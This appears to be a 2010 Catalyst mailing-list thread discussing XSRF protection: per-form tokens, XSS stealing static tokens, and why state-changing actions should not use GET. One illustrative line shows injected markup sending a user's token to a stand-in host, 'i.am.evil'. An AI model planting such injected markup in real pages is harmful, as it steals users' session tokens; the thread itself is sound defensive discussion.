On 29 Mar 2010, at 10:12, Jon mailinglists wrote:
That's why I was talking auth tokens or some other means of
protection.
A guess so, given that auth tokens are an XSRF protection really :)
I suppose more people have thought of that, and this isn't really
Catalyst specific but very general. What I wonder though is if
there's
any built in mechanism to protect from that since if I haven't got
it
all wrong are cookie based sessions pretty much useless as security.
There are a number of pre-baked solutions to this on CPAN / in
various form
systems.
That said, there is no generic thing you can plug into an arbitrary
Catalyst
application which will try to protect you.
It would be possible to parse the HTML your app output, add an
extra hidden
field to any forms you had generated in the page, and then look for a
previously generated token and redirect / refuse the request if it
wasn't
present.
However this would obviously not catch forms generated purely from
Javascript (and a number of other cases), and so I'm somewhat
doubtful of
its value in more complex applications. I can certainly remember
the stuff
which tries to achieve this that is baked into Rails making me
scream :)
But if one has a header.tt2, and that header has an <input
type="hidden" id="token" value="[% c.token %]> would every javascript
be able to get that value and add it to each form generated. Wouldn't
that solve the problem, and also make sure that a request from a user
is really that and not coming from an evil site. Or is that a naive
solution?
No, that makes _some_ sense.. But if I write javascript which, when
you click a button, adds a <form> element (and etc) to the page, then
clicks the submit button, that form is not going to have the XSRF
protection added (and ergo will fail when submitted).
I'd go with if you're doing weird things like that, then buyer beware..
With the risk of making you scream here:
Wouldn't it make sense to have and option in Authorization which
generates and stores a token server side, in either a database or in
the session (like Bill seems to do) at login time. If I'm not horribly
mistaken would one token be enough for a session since the attack is
blind and there's no way for a 3rd party to figure it out unless using
brute force.
Not really. If one part of the site has XSS in it, and the token is
static, then I can inject javascript into the page (by sending you a
link to the part of the site with the XSS, which when run snarfs the
token, and injects <img src="http://i.am.evil/find_this.cgi?
token=XXXXXX width="1" height="1" /> into the bottom of the page..
I now have the user's token, and so I can submit any form in the app
as them..
For real protection you _at least_ need to generate one token per form
you display, ad keep a list of 'could be submitted' tokens.. For
protection against all cases, you need to validate that the token
presented was a component of the form which is actually being
submitted..
If that is correct, one can go about playing CRUD and allowing
/member/get_info?token=... and /member/set_info?token=... with GET
requests?
Well, if you're allowing /set_info to be a GET request, you already
lost, don't do that :)
Catalyst::ActionRole::MatchRequestMethod is your friend.
That said - the wiki could very much benefit from a few pages which
clearly
explained the issue(s) surrounding XSS and XSRF in more detail,
along with a
rundown of what various form systems provide to mitigate these
issues (and
any other more generic modules available).
Would you be prepared to write (even some) of this - given you seem
to
already be doing the research?
I just had a look and the wiki gives me an internal server error.
>_<
That was, of course, subsequently fixed.
I
can try to add some info regarding this, it might be better than
nothing but as I said, my English is far from perfect and it becomes
extra obvious when trying to explain something complex.
One thing I really think should be added there is a more verbose
explanation to the note in Catalyst::Manual::Tutorial::04_BasicCRUD:
Note: In practice you should never use a GET request to delete a
record -- always use POST for actions that will modify data. We are
doing it here for illustrative and simplicity purposes only.
Since this is potentially as nasty as storing untainted data in the
database, both for cases where GET is logical
(/get_really_private_data) and cases like this where one is
deleting/updating global data in a database.
Yes, we could do with more info. I disagree that your bad English
would be a limitation.
We have a superb doc team who can help with that, and the tech team
are happy to help with the finer points of the explanation.
However YOU are still the ONLY person who knows _WHAT_ needs
explaining :)
On a slightly different note - I wasn't trying to be entirely
pessimistic about making a component which would try to help take care
of XSRF for you, I was just saying that it couldn't cover all possible
cases with no user intervention.
I think there would be a lot of value to someone coming up with
something which would solve the simple cases (when you're emitting
static HTML forms into your page), and help with the harder ones.
Cheers
t0m
_______________________________________________
List: [email protected]
Listinfo: http://lists.scsys.co.uk/cgi-bin/mailman/listinfo/catalyst
Searchable archive: http://www.mail-archive.com/[email protected]/
Dev site: http://dev.catalyst.perl.org/
